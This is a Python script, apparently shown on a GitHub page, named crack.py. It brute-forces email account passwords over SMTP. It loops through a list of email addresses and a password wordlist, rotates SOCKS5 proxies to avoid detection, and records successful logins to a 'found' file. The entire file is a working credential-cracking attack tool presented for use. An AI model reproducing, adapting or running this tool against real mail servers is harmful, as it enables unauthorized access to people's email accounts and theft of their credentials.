-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathcrack.py
99 lines (81 loc) · 3.06 KB
/
crack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import smtplib
import os
import socket
from core.banner import banner, clear
from core.colors import r, c, g, y, ran
from core.sprint import sprint
try:
import socks
except ModuleNotFoundError:
os.system("pip install pysocks")
clear()
banner()
yes = ["y", "yes"]
no = ["n", "no"]
try:
em_choice = input(ran + "Enter path of email: " + g)
except FileNotFoundError:
sprint(r + "File not found")
exit(0)
try:
pass_choice = input(y + "Do you want to use default wordlist? " + r + "(y/n) :" + g).lower()
if pass_choice in yes:
passlist = r"files/passwords.txt"
else:
passlist = input(c + "Enter path of worlist: " + g)
except FileNotFoundError:
sprint(r + "File not found")
exit(0)
try:
prox_choice = input(ran + "Do you want to use default proxy list? " + c + "(y/n): ").lower()
if prox_choice in yes:
proxy_list = r"files/HTTP.txt"
else:
proxy_list = input(ran + "Enter path of proxies: " + g)
except FileNotFoundError:
sprint(r + "File not found")
exit(0)
smtp = input(f'{y}Enter Smtp Host: ')
port = input(f'{y}Enter Smtp Port: ')
o_pass = r"files/passwords.txt"
o_tried = r"files/tried.txt"
o_found = r"files/found.txt"
passwords = [i.strip("\n") for i in open(passlist, "r").readlines()]
tried = [i.strip("\n") for i in open("files/tried.txt")]
found = [i.strip("\n") for i in open("files/found.txt", "r").readlines()]
mails = [i.strip("\n") for i in open(em_choice, "r").readlines()]
ip = [i.strip("\n") for i in open("files/HTTP.txt", "r").readlines()]
px = 0
with open(proxy_list, "r") as file:
proxies = file.readlines()
def cracker(smtp , port):
for m in mails:
print(f"{y}Fetching mail {r}{str(m)}")
for n, password in enumerate(passwords):
tot_pass = str(len(passwords))
print(f"{c}Trying password {r}{str(password)}: {g}{str(n)}/{y}{tot_pass}")
with open(o_tried, "a") as f:
f.write(f"{m} -- {password}\n")
try:
smtpserver = smtplib.SMTP(smtp, port)
smtpserver.ehlo()
smtpserver.starttls()
except smtplib.SMTPServerDisconnected:
print("/033[1;31mIt seems something is wrong.")
try:
proxy = proxies[px].replace('\n', '').split(":")
socket.socket = socks.socksocket
socks.set_default_proxy(socks.SOCKS5, proxy[0], proxy[1])
smtpserver.login(m, password)
with open(o_found, "a") as fo:
fo.write(f"{m} {password}")
print(y + "Password Found:" + c + str(password))
with open(o_found, "a") as fo:
fo.write(f"{m} {password}")
smtpserver.close()
break
except smtplib.SMTPAuthenticationError:
print("failed")
continue
px += 1
cracker(smtp, port)